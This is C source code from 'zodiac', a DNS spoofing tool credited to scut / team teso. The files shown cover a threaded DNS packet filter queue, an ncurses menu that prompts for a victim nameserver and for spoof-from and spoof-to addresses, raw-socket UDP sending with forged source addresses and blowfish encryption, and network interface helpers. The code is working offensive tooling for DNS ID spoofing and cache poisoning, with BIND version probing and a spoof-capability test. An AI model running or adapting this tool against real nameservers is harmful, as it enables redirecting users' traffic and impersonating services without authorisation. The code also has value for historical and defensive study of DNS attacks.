dq_packet *this, *last;
this = df->p_root;
/* first packet
*/
if (this == NULL) {
df->p_root = xcalloc (1, sizeof (dq_packet));
this = df->p_root;
} else {
/* append to the list
*/
while (this != NULL) {
last = this;
this = this->next;
}
last->next = xcalloc (1, sizeof (dq_packet));
this = last->next;
}
this->next = NULL;
this->packet = xcalloc (1, packetlength);
memcpy (this->packet, packet, packetlength);
this->plen = packetlength;
return;
}
/* dq_findslot
*
* find a free slot in the array `df', with a maximum array size of `dqmax'
*
* return -1 if no slot is free
* return slot if slot is found
*/
int
dq_findslot (dq_filter *df[], int dq_max)
{
int n;
for (n = 0; n < dq_max; n++) {
if (df[n] == NULL)
return (n);
}
return (-1);
}
/* dq_filter_install
*
* return -1 on failure
* return >=0 as a dq_filter descriptor
*/
int
dq_filter_install (struct in_addr ip_src, struct in_addr ip_dst,
unsigned short int port_src, unsigned short int port_dst,
int id_watch, u_short id_start, u_short id_end, char *query)
{
dq_filter *nf;
int slot; /* free slot */
pthread_mutex_lock (&dqf_mutex);
slot = dq_findslot (dqf, DQ_MAX);
if (slot == -1)
return (-1);
nf = xcalloc (1, sizeof (dq_filter));
/* initialize thread variables
*/
pthread_mutex_init (&nf->dq_mutex, NULL);
pthread_mutex_lock (&nf->dq_mutex);
sem_init (&nf->dq_sem, 0, 0);
/* set up filter data
*/
nf->dq_sem_real = 0;
nf->dq_desc = slot; /* set descriptor */
nf->ip_src = ip_src;
nf->ip_dst = ip_dst;
nf->port_src = port_src;
nf->port_dst = port_dst;
nf->id_watch = id_watch;
nf->id_start = id_start;
nf->id_end = id_end;
nf->dns_packet = NULL;
nf->p_root = NULL;
if (query == NULL) {
nf->query = NULL;
} else {
nf->query = xstrdup (query);
xstrupper (nf->query);
}
dqf[slot] = nf;
dq_count++;
pthread_mutex_unlock (&nf->dq_mutex);
pthread_mutex_unlock (&dqf_mutex);
return (slot);
}
/* dq_filter_uninstall
*
* return 0 on success
* return 1 on failure
*/
int
dq_filter_uninstall (int dq_desc)
{
dq_filter *this;
int n;
pthread_mutex_lock (&dqf_mutex);
for (n = 0; n < DQ_MAX; n++) {
if (dqf[n] != NULL) {
pthread_mutex_lock (&dqf[n]->dq_mutex);
/* if filter matches, uninstall it
*/
if (dqf[n]->dq_desc == dq_desc) {
this = dqf[n];
dqf[n] = NULL;
/* kill ALL waiting routines
*/
while (this->dq_wait_count > 0) {
/* no real activation
*/
this->dq_sem_real = 0;
sem_post (&this->dq_sem);
/* and let one waiter die
*/
pthread_mutex_unlock (&dqf[n]->dq_mutex);
pthread_mutex_lock (&dqf[n]->dq_mutex);
}
dq_p_free_all (this);
dq_filter_free (this);
dq_count--;
/* `dq_desc' should be unique, so we don't care
*/
pthread_mutex_unlock (&dqf_mutex);
return (0);
}
pthread_mutex_unlock (&dqf[n]->dq_mutex);
}
}
pthread_mutex_unlock (&dqf_mutex);
return (1);
}
/* dq_p_free_all
*
* free's all resisting packets within one filter
*
* return in any case
*/
void
dq_p_free_all (dq_filter *dq)
{
dq_packet *this, *last;
for (this = dq->p_root; this != NULL;) {
last = this;
this = this->next;
dq_p_free (last);
}
return;
}
/* dq_p_free
*
* free the packet pointed to by `dqp'
*
* return in any case
*/
void
dq_p_free (dq_packet *dqp)
{
if (dqp != NULL) {
if (dqp->packet != NULL)
free (dqp->packet);
free (dqp);
}
return;
}
/* dq_filter_free
*
* return in any case
*/
void
dq_filter_free (dq_filter *dq)
{
if (dq == NULL)
return;
pthread_mutex_destroy (&dq->dq_mutex);
sem_destroy (&dq->dq_sem);
if (dq->query != NULL)
free (dq->query);
free (dq);
return;
}
/* dq_filter_wait
*
* 'select' for filter descriptors.
* wait a maximum of time defined in `tv' to get packets for filter defined
* by `dq_desc'. if `tv' is { 0, 0 }, don't block, if `tv' is NULL, wait
* indefinitly.
*
* return 1 if packet was caught
* return 0 on timeout
*/
int
dq_filter_wait (int dq_desc, struct timeval *tv)
{
int rval = 0; /* return value */
int n = 0; /* temporary return value */
/* first, register us as a filter waiter
*/
pthread_mutex_lock (&dqf[dq_desc]->dq_mutex);
dqf[dq_desc]->dq_wait_count++;
pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex);
/* if a timeout is required, fire up another subthread, that just
* will post the semaphore after a given timeout, but set dq_sem_real
* to zero, to tell us that it's just a timeout semaphore.
*
* in the other case, if a real packet intrudes, dq_activate will post
* the semaphore AND will notify us through dq_sem_real = 1 that it's
* a real packet.
*
* in the worst case, the filter is being uninstalled, and dq_sem_real
* will be "2", that means we should just return as if no packet has
* been caught.
*
* if no timeout is used it's just a sem_wait.
*/
/* check wether we have to wait indefinite
*/
if (tv != NULL) {
/* check wether it is a timeouting wait request
*/
if (tv->tv_sec != 0 || tv->tv_usec != 0) {
pthread_t tout_tid; /* timeout thread id */
dqtim_val *paa = xcalloc (1, sizeof (dqtim_val));
/* build up a pseudo structure, just for parameter passing
*/
paa->tv.tv_sec = tv->tv_sec;
paa->tv.tv_usec = tv->tv_usec;
paa->df = dqf[dq_desc];
/* start a timeouter thread
*/
n = pthread_create (&tout_tid, NULL, (void *) dq_timer, (void *) paa);
if (n != -1) {
sem_wait (&dqf[dq_desc]->dq_sem);
/* destroy the timeouting thread on real packet
* added pthread_join () call - 990925.
*/
if (dqf[dq_desc]->dq_sem_real != 0) {
pthread_cancel (tout_tid);
}
pthread_join (tout_tid, NULL);
}
/* clean the mess up and set the return value
*/
free (paa);
rval = dqf[dq_desc]->dq_sem_real;
} else {
/* non blocking check
*/
n = sem_trywait (&dqf[dq_desc]->dq_sem);
if (n == 0)
rval = 1;
}
} else {
/* wait indefinitly
*/
n = sem_wait (&dqf[dq_desc]->dq_sem);
if (n == 0) {
pthread_mutex_lock (&dqf[dq_desc]->dq_mutex);
n = dqf[dq_desc]->dq_sem_real;
if (n == 1)
rval = 1;
pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex);
}
}
/* decrease the listeners count
*/
pthread_mutex_lock (&dqf[dq_desc]->dq_mutex);
dqf[dq_desc]->dq_wait_count--;
pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex);
return (rval);
}
/* dq_timer
*
* timeout thread, that will just raise a semaphore after a given timeout
* the thread has to be cancelled if the timeout is not necessary anymore.
*
* return nothing (threaded)
*/
void *
dq_timer (dqtim_val *paa)
{
unsigned long long usec; /* microseconds to sleep */
/* added to allow immediate interruption.
* -smiler 990925
*/
pthread_setcancelstate (PTHREAD_CANCEL_ENABLE, NULL);
pthread_setcanceltype (PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
/* calculate time to sleep, then sleep until either timeout
* or interruption
*/
usec = (paa->tv.tv_sec * 1000000) + paa->tv.tv_usec;
usleep (usec);
/* we survived, now be faster then the race condition ;-D
*/
paa->df->dq_sem_real = 0; /*0 = just a timeout*/
sem_post (&paa->df->dq_sem); /* post semaphore */
return (NULL);
}

185
dns/zodiac/src/dnsq.h Normal file
View file

@ -0,0 +1,185 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns queue routines include file
*/
#ifndef Z_DNSQ_H
#define Z_DNSQ_H
#include <sys/time.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include "packet.h"
/* a maximum of 256 filters should be used
* raise this on demand
*/
#define DQ_MAX 256
/* dq_packet structure
*
* linked list,
* used to pass an incoming matched packet to the waiting thread
*/
typedef struct dq_packet {
struct dq_packet *next; /* next in the linked list */
unsigned char *packet; /* IP header starts */
unsigned int plen; /* packet length (iphdr + udphdr + dnshdr + dnsdata) */
} dq_packet;
/* dq_filter structure
*
* this is a internal filter structure, which defines a complete dns packet
* filter. a maximum of DQ_MAX filters may be active simultanously.
*/
typedef struct dq_filter {
pthread_mutex_t dq_mutex; /* mutex over this structure */
int dq_desc; /* dq_filter descriptor */
sem_t dq_sem; /* semaphore for this filter */
int dq_sem_real; /* real semaphore or just timeout one */
int dq_wait_count; /* counts the waiting threads on this filter */
struct in_addr ip_src; /* ip or INADDR_ANY */
struct in_addr ip_dst; /* ip or INADDR_ANY */
unsigned short int port_src; /* source port or zero */
unsigned short int port_dst; /* destination port or zero */
int id_watch; /* 0 = don't care, 1 = watch */
u_short id_start; /* dns id range start */
u_short id_end; /* end */
unsigned char *query; /* NULL or query domain (uncompressed, dotted) */
unsigned char *dns_packet; /* start of a dns packet */
dq_packet *p_root; /* packet list root */
} dq_filter;
/* dqtim_val structure
*
* passing structure for the timeouting thread
*/
typedef struct dqtim_val {
struct timeval tv; /* timeout interval */
dq_filter *df; /* filter to trigger */
} dqtim_val;
/* dq_handle
*
* check wether an incoming dns packet matches the filter table, then
* take the appropiate actions.
*
* return in any case
*/
void dq_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned int plen);
/* dq_p_get
*
* get the first packet stored in queue on filter associated with `desc'
*
* return a pointer to the unlinked first packet
* return NULL on failure
*/
dq_packet *dq_p_get (int desc);
/* dq_p_append
*
* append a packet to a filter queue, where `packet' contains
* data consisting out of the ip header, udp header, dns header and dns data
*/
void dq_p_append (dq_filter *df, unsigned char *packet, unsigned int packetlength);
/* dq_p_free_all
*
* free's all resisting packets within one filter
*
* return in any case
*/
void dq_p_free_all (dq_filter *dq);
/* dq_p_free
*
* free the packet pointed to by `dqp'
*
* return in any case
*/
void dq_p_free (dq_packet *dqp);
/* dq_filter_install
*
* install a dns packet filter, which will filter any datagrams that may come
* from `ip_src' and going to `ip_dst' from port `port_src' to port `port_dst'.
* if `id_watch' is non-zero keep also watch of the dns id of the packet, which
* has to be in between of `id_start' and `id_end', `query' is the dns query
* content which has to be in the packet, or NULL if it doesn't have to match.
*
* return -1 on failure
* return >=0 as a dq_filter descriptor
*/
int dq_filter_install (struct in_addr ip_src, struct in_addr ip_dst,
unsigned short int port_src, unsigned short int port_dst,
int id_watch, u_short id_start, u_short id_end, char *query);
/* dq_filter_uninstall
*
* remove a dns packet filter with the descriptor `dq_desc' from the filter
* queue.
*
* return 0 on success
* return 1 on failure
*/
int dq_filter_uninstall (int dq_desc);
/* dq_filter_wait
*
* 'select' for filter descriptors.
* wait a maximum of time defined in `tv' to get packets for filter defined
* by `dq_desc'. if `tv' is { 0, 0 }, don't block, if `tv' is NULL, wait
* indefinitly.
*
* return 1 if packet was caught
* return 0 on timeout
*/
int dq_filter_wait (int dq_desc, struct timeval *tv);
/* dq_timer
*
* helper function for timeouting the filter_wait function
*/
void *dq_timer (dqtim_val *paa);
/* internal functions
*/
int dq_match (dq_filter *real, dq_filter *pseudo);
int dq_findslot (dq_filter *df[], int dq_max);
void dq_filter_free (dq_filter *dq);
#endif

384
dns/zodiac/src/gui.c Normal file
View file

@ -0,0 +1,384 @@
/* zodiac - advanced dns spoofer
*
* by team teso
*
* this routines are most likely the crappiest routines in the whole zodiac
* source tree. if i have a lot of time i'll to a elite rewrite of this crap.
* -sc
*/
#include <stdlib.h>
#include <string.h>
#include <ncurses.h>
#include "common.h"
#include "dns.h"
#include "dns-spoof.h"
#include "dns-tag.h"
#include "dns-tools.h"
#include "gui.h"
#include "output.h"
#include "zodiac.h"
#include "dns-build.h"
char *input = NULL;
char *prompt = NULL;
void
menu_prompt (char *pr)
{
if (prompt == NULL) {
prompt = xstrdup (pr);
} else {
free (prompt);
prompt = xstrdup (pr);
}
m_printf (ms, ms->winsh, "%s", prompt);
return;
}
void
menu_clear (void)
{
if (input != NULL)
free (input);
input = NULL;
}
void
menu_tool (void)
{
}
void
menu_dos (void)
{
}
void
menu_spoof_jizz (void)
{
char *ns,
*local_domain,
*local_dns_ip,
*spoof_from,
*spoof_to;
spoof_base *base;
ns = menu_input ();
local_domain = menu_input ();
local_dns_ip = menu_input ();
spoof_from = menu_input ();
spoof_to = menu_input ();
base = spoof_jizz_new (ns, local_domain, local_dns_ip,
spoof_from, spoof_to);
spoof_do_threaded (base);
return;
}
void
menu_spoof_local (void)
{
char *sp_type,
*victim,
*from, *to,
*local_dns, *local_dns_ip;
int spoof_type;
spoof_base *base;
victim = menu_input ();
sp_type = menu_input ();
if (strcasecmp (sp_type, "a") == 0) {
spoof_type = T_A;
} else if (strcasecmp (sp_type, "ptr") == 0) {
spoof_type = T_PTR;
} else {
m_printf (ms, ms->winsh, "#! invalid spoof type\n");
menu_clear ();
return;
}
free (sp_type);
from = menu_input ();
to = menu_input ();
local_dns = menu_input ();
local_dns_ip = menu_input ();
base = spoof_local_new (victim, from, to, local_dns, local_dns_ip,
spoof_type);
spoof_do_threaded (base);
return;
}
void
menu_spoof_dnsid (void)
{
char *ns,
*domain,
*spoof_from,
*spoof_to,
*spoof_ptr,
*sp_type;
spoof_base *base;
int n = 0,
spoof_type;
menu_prompt ("[victim nameserver] > ");
ns = menu_input ();
menu_prompt ("[your domain] > ");
domain = menu_input ();
base = spoof_id_new (ns, domain);
menu_prompt ("[spoof from] > ");
spoof_from = menu_input ();
menu_prompt ("[spoof to] > ");
spoof_to = menu_input ();
if (inet_addr (spoof_to) == -1) {
menu_prompt ("bad ip\n");
menu_clear ();
return;
}
menu_prompt ("[spoof type - a,ptr,both] ");
sp_type = menu_input ();
if (strcasecmp (sp_type, "a") == 0) {
spoof_type = T_A;
} else if (strcasecmp (sp_type, "ptr") == 0) {
spoof_type = T_PTR;
} else if (strcasecmp (sp_type, "both") == 0) {
spoof_type = T_PTR + T_A;
} else {
m_printf (ms, ms->winsh, "#! invalid spoof type\n");
menu_clear ();
return;
}
free (sp_type);
if (spoof_type == T_A) {
n += spoof_id_add (base, T_A, spoof_from, spoof_to, NULL);
} else if (spoof_type == T_PTR) {
spoof_ptr = dns_build_ptr (spoof_to);
n += spoof_id_add (base, T_PTR, spoof_ptr, spoof_from, NULL);
} else {
spoof_ptr = dns_build_ptr (spoof_to);
n += spoof_id_add (base, T_PTR, spoof_ptr, spoof_from, NULL);
n += spoof_id_add (base, T_A, xstrdup (spoof_from), spoof_to, NULL);
}
if (n < 0) {
menu_prompt ("error\n");
menu_clear ();
spoof_destroy (base);
return;
}
spoof_do_threaded (base);
return;
}
void
menu_set (void)
{
char *basecmd;
menu_prompt ("[set] > ");
basecmd = menu_input ();
if (strcasecmp (basecmd, "zsp") == 0) {
char *tmp;
tmp = zodiac_spoof_proxy;
zodiac_spoof_proxy = NULL;
if (tmp != NULL)
free (tmp);
tmp = zodiac_spoof_proxy_key;
zodiac_spoof_proxy_key = NULL;
if (tmp != NULL)
free (tmp);
zodiac_spoof_proxy = menu_input ();
tmp = menu_input ();
sscanf (tmp, "%hu", &zodiac_spoof_proxy_port);
free (tmp);
tmp = menu_input ();
zodiac_spoof_proxy_key = xcalloc (1, strlen (tmp) + 1);
sscanf (tmp, "%[^\n]\n", zodiac_spoof_proxy_key);
free (tmp);
} else if (strcasecmp (basecmd, "showpackets") == 0) {
char *tmp = menu_input ();
sscanf (tmp, "%d", &dns_print_own_packets);
free (tmp);
} else {
menu_clear ();
}
free (basecmd);
return;
}
void
menu_ns (void)
{
char *basecmd;
menu_prompt ("[ns] > ");
basecmd = menu_input ();
if (strcasecmp (basecmd, "version") == 0) {
char *ip;
char *version_reply;
ip = menu_input ();
version_reply = dt_bind_version (ip);
m_printf (ms, ms->winsh, "%s: %s\n", ip, version_reply);
free (ip);
free (version_reply);
} else {
menu_clear ();
}
free (basecmd);
return;
}
void
menu_test (void)
{
char *basecmd;
menu_prompt ("[test] > ");
basecmd = menu_input ();
if (strcasecmp (basecmd, "spoof") == 0) {
char *ns,
*ourdomain;
int spoofing = 0;
ns = menu_input ();
ourdomain = menu_input ();
spoofing = spoof_ip_check (ns, ourdomain);
m_printf (ms, ms->winsh, "[zod] send capabilities = %s\n",
spoofing == 1 ? "spoofing allowed" :
(spoofing == -1 ? "not even unspoofed packets" :
"only unspoofed packets"));
free (ns);
free (ourdomain);
}
free (basecmd);
return;
}
void
menu_spoof (void)
{
char *basecmd;
menu_prompt ("[spoof] > ");
basecmd = menu_input ();
if (strcasecmp (basecmd, "local") == 0) {
menu_spoof_local ();
} else if (strcasecmp (basecmd, "jizz") == 0) {
menu_spoof_jizz ();
} else if (strcasecmp (basecmd, "id") == 0) {
menu_spoof_dnsid ();
} else {
m_printf (ms, ms->winsh, "#! not a valid spoof subcommand\n");
menu_clear ();
}
return;
}
void
menu_handle (void)
{
char *basecmd;
m_root:
menu_prompt ("[] > ");
do {
basecmd = menu_input ();
if (strlen (basecmd) == 0)
goto m_root;
/* lame code here
*/
if (strcasecmp (basecmd, "quit") == 0) {
return;
} else if (strcasecmp (basecmd, "help") == 0) {
m_printf (ms, ms->winsh, "quit quit zodiac\n");
m_printf (ms, ms->winsh, "spoof id dns id spoofing\n");
m_printf (ms, ms->winsh, "ns version <host> bind version request\n");
m_printf (ms, ms->winsh, "set zsp <host> <port> <key> set spoof proxy parameters\n");
m_printf (ms, ms->winsh, "set showpackets <1|0> set show-own-packets flag\n");
m_printf (ms, ms->winsh, "test spoof <nameserver> <ourdomain> test whether we can ip spoof\n");
} else if (strcasecmp (basecmd, "spoof") == 0) {
menu_spoof ();
} else if (strcasecmp (basecmd, "ns") == 0) {
menu_ns ();
} else if (strcasecmp (basecmd, "test") == 0) {
menu_test ();
} else if (strcasecmp (basecmd, "dos") == 0) {
// menu_dos ();
} else if (strcasecmp (basecmd, "set") == 0) {
menu_set ();
} else {
m_printf (ms, ms->winsh, "#! wrong command, see \"help\"\n");
goto m_root;
}
free (basecmd);
basecmd = NULL;
} while (1);
}
char *
menu_input (void)
{
char *p;
int cl;
if (input == NULL) {
input = xcalloc (1, 1024);
wscanw (ms->winsh, "%1023c", input);
}
cl = strcspn (input, " \t\n\r");
p = xcalloc (1, cl + 1);
memcpy (p, input, cl);
if (strlen (input + cl + 1) > 0) {
int n = strlen (input + cl + 1);
memmove (input, input + cl + 1, strlen (input + cl + 1));
memset (input + n, '\0', cl);
} else {
free (input);
input = NULL;
}
return (p);
}

21
dns/zodiac/src/gui.h Normal file
View file

@ -0,0 +1,21 @@
/* zodiac - advanced dns spoofer
*
* by team teso
*/
#ifndef _Z_GUI_H
#define _Z_GUI_H
#include "dns-spoof-int.h"
void menu_prompt (char *add);
void menu_clear (void);
void menu_test (void);
void menu_set (void);
void menu_spoof (void);
void menu_handle (void);
char *menu_input (void);
#endif

272
dns/zodiac/src/io-udp.c Normal file
View file

@ -0,0 +1,272 @@
/* udp io routines
*
* by scut
*
* udp packet routines include file
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <libnet.h>
#include "cipher-blowfish.h"
#include "common.h"
#include "io-udp.h"
#include "network.h"
void
udp_listen_free (udp_listen *ul)
{
if (ul == NULL)
return;
if (ul->socket != 0)
close (ul->socket);
free (ul);
return;
}
udp_listen *
udp_setup (char *ip, unsigned short int port)
{
int n; /* temporary return value */
udp_listen *new = xcalloc (1, sizeof (udp_listen));
new->addr_serv.sin_family = AF_INET;
new->addr_serv.sin_port = htons (port);
if (ip == NULL) {
new->addr_serv.sin_addr.s_addr = htonl (INADDR_ANY);
} else {
new->addr_serv.sin_addr.s_addr = net_resolve (ip);
if (new->addr_serv.sin_addr.s_addr == 0)
goto u_fail;
}
new->port = port;
/* aquire udp socket
*/
new->socket = socket (AF_INET, SOCK_DGRAM, 0);
if (new->socket == -1)
goto u_fail;
n = bind (new->socket, (struct sockaddr *) &new->addr_serv, sizeof (new->addr_serv));
if (n == -1)
goto u_fail;
return (new);
u_fail:
if (new->socket != 0)
close (new->socket);
free (new);
return (NULL);
}
void
udp_rcv_free (udp_rcv *ur)
{
if (ur == NULL)
return;
if (ur->udp_data != NULL)
free (ur->udp_data);
free (ur);
return;
}
udp_rcv *
udp_receive (udp_listen *ul)
{
int n; /* temporary return value */
udp_rcv *u_rcv; /* new received udp datagram */
unsigned char *u_packet;
socklen_t len;
if (ul == NULL)
return (NULL);
u_rcv = xcalloc (1, sizeof (udp_rcv));
u_packet = xcalloc (1, IP_MAXPACKET);
while (1) {
len = sizeof (struct sockaddr_in);
n = recvfrom (ul->socket, u_packet, IP_MAXPACKET, 0,
&u_rcv->addr_client, &len);
if (n == -1)
goto ur_fail;
/* save time the packet was received and copy the received data
*/
gettimeofday (&u_rcv->udp_time, NULL);
xrealloc (u_packet, n);
u_rcv->udp_data = u_packet;
u_rcv->udp_len = n;
ul->count++;
return (u_rcv);
}
ur_fail:
free (u_rcv);
free (u_packet);
return (NULL);
}
void
udp_write (char *ip, unsigned short int port, unsigned char *data,
size_t data_len, char *key)
{
int udp_sockfd;
struct sockaddr_in udp_to;
unsigned char *data_enc;
socklen_t len;
/* do the encryption
*/
if (key != NULL) {
unsigned char *p_ofs,
*dt;
dt = xcalloc (1, data_len + 2);
memcpy (dt + 2, data, data_len);
p_ofs = dt;
PUTSHORT (data_len, p_ofs);
data_enc = bf_encipher (key, dt, data_len + 2, &len);
free (dt);
} else {
data_enc = xcalloc (1, data_len);
memcpy (data_enc, data, data_len);
len = data_len;
}
udp_sockfd = socket (AF_INET, SOCK_DGRAM, 0);
if (udp_sockfd == -1)
return;
memset (&udp_to, '\0', sizeof (udp_to));
udp_to.sin_family = AF_INET;
udp_to.sin_addr.s_addr = net_resolve (ip);
udp_to.sin_port = htons (port);
/* send packet
*/
sendto (udp_sockfd, data_enc, len, 0, &udp_to, sizeof (udp_to));
close (udp_sockfd);
free (data_enc);
return;
}
void
udp_send (char *ip_src, unsigned short int port_src,
char *ip_dst, unsigned short int port_dst, char *key,
unsigned char *data, size_t data_len)
{
unsigned char *data_enc,
*pkt_buf;
unsigned short int port_a_src;
size_t len;
char *ip_a_src;
int raw_socket;
ip_a_src = (ip_src == NULL) ? net_getlocalip () : xstrdup (ip_src);
if (key != NULL) {
unsigned char *p_ofs,
*dt;
dt = xcalloc (1, data_len + 2);
memcpy (dt + 2, data, data_len);
p_ofs = dt;
PUTSHORT (data_len, p_ofs);
data_enc = bf_encipher (key, dt, data_len + 2, &len);
free (dt);
} else {
data_enc = xcalloc (1, data_len);
memcpy (data_enc, data, data_len);
len = data_len;
}
port_a_src = (port_src == 0) ? libnet_get_prand (PRu16) : port_src;
pkt_buf = xcalloc (1, len + IP_H + UDP_H);
libnet_build_ip (UDP_H + len, /* content length */
0, /* ip type of service */
libnet_get_prand (PRu16), /* ip id */
0, /* we don't fragment */
64, /* ip ttl */
IPPROTO_UDP, /* ip subproto */
libnet_name_resolve (ip_a_src, 0), /* ip source address */
libnet_name_resolve (ip_dst, 0),/* ip destination address */
NULL, 0, /* payload */
pkt_buf);
libnet_build_udp (port_a_src, /* source port */
port_dst, /* destination port */
data_enc, /* payload r0x0r */
len, /* payload length */
pkt_buf + IP_H);
raw_socket = libnet_open_raw_sock (IPPROTO_RAW);
if (raw_socket != -1) {
libnet_write_ip (raw_socket, pkt_buf, IP_H + UDP_H + len);
close (raw_socket);
}
free (pkt_buf);
free (data_enc);
free (ip_a_src);
return;
}
udp_rcv *
udp_decipher (udp_rcv *ur, char *key)
{
size_t len = ur->udp_len / 8;
unsigned char *deciphered_data;
unsigned char *p_ofs;
socklen_t len_real;
if (len == 0)
return (ur);
deciphered_data = bf_decipher (key, ur->udp_data, len * 8);
free (ur->udp_data);
p_ofs = deciphered_data;
GETSHORT (len_real, p_ofs);
ur->udp_data = xcalloc (1, len_real);
memcpy (ur->udp_data, deciphered_data + 2, len_real);
free (deciphered_data);
ur->udp_len = len_real;
return (ur);
}

133
dns/zodiac/src/io-udp.h Normal file
View file

@ -0,0 +1,133 @@
/* udp io routines
*
* by scut
*
* udp packet routines include file
*/
#ifndef _FNX_IO_UDP_H
#define _FNX_IO_UDP_H
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
/* udp receival entity
*/
typedef struct udp_listen {
unsigned long int count; /* number of packets received */
struct in_addr ip; /* ip to receive data on */
unsigned short int port; /* port to receive data on */
int socket; /* listening socket */
struct sockaddr_in addr_serv;
} udp_listen;
/* udp datagram structure
*/
typedef struct udp_rcv {
struct sockaddr_in addr_client; /* source address */
struct timeval udp_time; /* time of receival */
socklen_t udp_len; /* length of the udp datagramm */
unsigned char *udp_data; /* received udp datagramm */
} udp_rcv;
/* udp_listen_free
*
* free a udp_listen structure pointed to by `ul'
*
* return in any case
*/
void udp_listen_free (udp_listen *ul);
/* udp_setup
*
* start a new listening udp service with the bound ip `ip', which can be
* either a numeric ip address or "*" (or NULL) for all locally available
* ip addresses. the listening port is `port'.
*
* return NULL on failure
* return a pointer to a udp_listen structure on success
*/
udp_listen *udp_setup (char *ip, unsigned short int port);
/* udp_rcv_free
*
* free a udp_rcv structure pointed to by `ur'
*
* return in any case
*/
void udp_rcv_free (udp_rcv *ur);
/* udp_receive
*
* receive an udp datagramm on the network entity specified by the `ul'
* structure
*
* return NULL on failure
* return a pointer to a new udp_rcv structure on success
*/
udp_rcv *udp_receive (udp_listen *ul);
/* udp_write
*
* send an udp datagram using the system level datagram sockets. send
* `data_len' bytes from `data' to the host with the ip `ip' on port
* `port'
*
* return in any case
*/
void
udp_write (char *ip, unsigned short int port, unsigned char *data,
size_t data_len, char *key);
/* udp_send
*
* send an udp datagram using raw socket. the datagram will be assigned the
* source ip address of the local host if `ip_src' is NULL and the source IP
* address `ip_src' if it is not. the source port will be random if `port_src'
* equals zero, else it is assigned the value of it.
* the destination ip address is `ip_dst', the destination port is `port_dst'..
* the payload is `data', which is `data_len' bytes long. the data will be
* encrypted with `key' if it is not NULL.
*
* return in any case
*/
void udp_send (char *ip_src, unsigned short int port_src,
char *ip_dst, unsigned short int port_dst, char *key,
unsigned char *data, size_t data_len);
/* udp_decipher
*
* decipher a received udp datagram packet `ur' using the key `key'. actually
* not the key but a sha-1 hash build out of it is used as blowfish encryption
* key. the data contained in the datagram has to have an 8-byte-boundary
* length.
*
* return the same received datagramm but with data decrypted
*/
udp_rcv *udp_decipher (udp_rcv *ur, char *key);
#endif

251
dns/zodiac/src/network.c Normal file
View file

@ -0,0 +1,251 @@
/* zodiac - advanced dns spoofer
*
* network primitives
*
* by scut / teso
* smiler
*
* nearly all of this code wouldn't have been possible without w. richard stevens
* excellent network coding book. if you are interested in network coding,
* there is no way around it.
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "network.h"
struct in_addr localip;
int
net_parseip (char *inp, char **ip, unsigned short int *port)
{
int n;
if (inp == NULL)
return (0);
if (strchr (inp, ':') == NULL)
return (0);
*ip = calloc (1, 256);
if (*ip == NULL)
return (0);
n = sscanf (inp, "%[^:]:%hu", *ip, port);
if (n != 2)
return (0);
*ip = realloc (*ip, strlen (*ip) + 1);
if (*ip == NULL || (*port < 1 || *port > 65535))
return (0);
return (1);
}
char *
net_getlocalip (void)
{
return (strdup (inet_ntoa (localip)));;
}
void
net_ifi_free (struct ifi_info *tf)
{
struct ifi_info *ifi, *ifil;
ifil = NULL;
for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) {
if (ifil)
free (ifil);
if (ifi->ifi_addr)
free (ifi->ifi_addr);
ifil = ifi;
}
if (ifil)
free (ifil);
return;
}
struct ifi_info *
net_ifi_get (int family, int doaliases)
{
struct ifi_info *ifi, *ifihead, **ifipnext;
int sockfd, len, lastlen, flags, myflags;
char *ptr, *buf, lastname[IFNAMSIZ], *cptr;
struct ifconf ifc;
struct ifreq *ifr, ifrcopy;
struct sockaddr_in *sinptr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
return (NULL);
lastlen = 0;
len = 100 * sizeof(struct ifreq);
for (;;) {
buf = malloc(len);
if (buf == NULL)
return (NULL);
ifc.ifc_len = len;
ifc.ifc_buf = buf;
if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) {
if (errno != EINVAL || lastlen != 0)
return (NULL);
} else {
if (ifc.ifc_len == lastlen)
break;
lastlen = ifc.ifc_len;
}
len += 10 * sizeof(struct ifreq);
free (buf);
}
ifihead = NULL;
ifipnext = &ifihead;
lastname[0] = 0;
for (ptr = buf; ptr < buf + ifc.ifc_len;) {
ifr = (struct ifreq *) ptr;
if (ifr->ifr_addr.sa_family == AF_INET)
len = sizeof(struct sockaddr);
ptr += sizeof(ifr->ifr_name) + len;
if (ifr->ifr_addr.sa_family != family)
continue;
myflags = 0;
if ((cptr = strchr(ifr->ifr_name, ':')) != NULL)
*cptr = 0;
if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) {
if (doaliases == 0)
continue;
myflags = IFI_ALIAS;
}
memcpy(lastname, ifr->ifr_name, IFNAMSIZ);
ifrcopy = *ifr;
if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0)
return (NULL);
flags = ifrcopy.ifr_flags;
if ((flags & IFF_UP) == 0)
continue;
ifi = calloc(1, sizeof(struct ifi_info));
if (ifi == NULL)
return (NULL);
*ifipnext = ifi;
ifipnext = &ifi->ifi_next;
ifi->ifi_flags = flags;
ifi->ifi_myflags = myflags;
memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME);
ifi->ifi_name[IFI_NAME - 1] = '\0';
#ifdef DEBUG
printf("got: %s\n", ifi->ifi_name);
#endif
switch (ifr->ifr_addr.sa_family) {
case AF_INET:
sinptr = (struct sockaddr_in *) &ifr->ifr_addr;
memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr));
if (ifi->ifi_addr == NULL) {
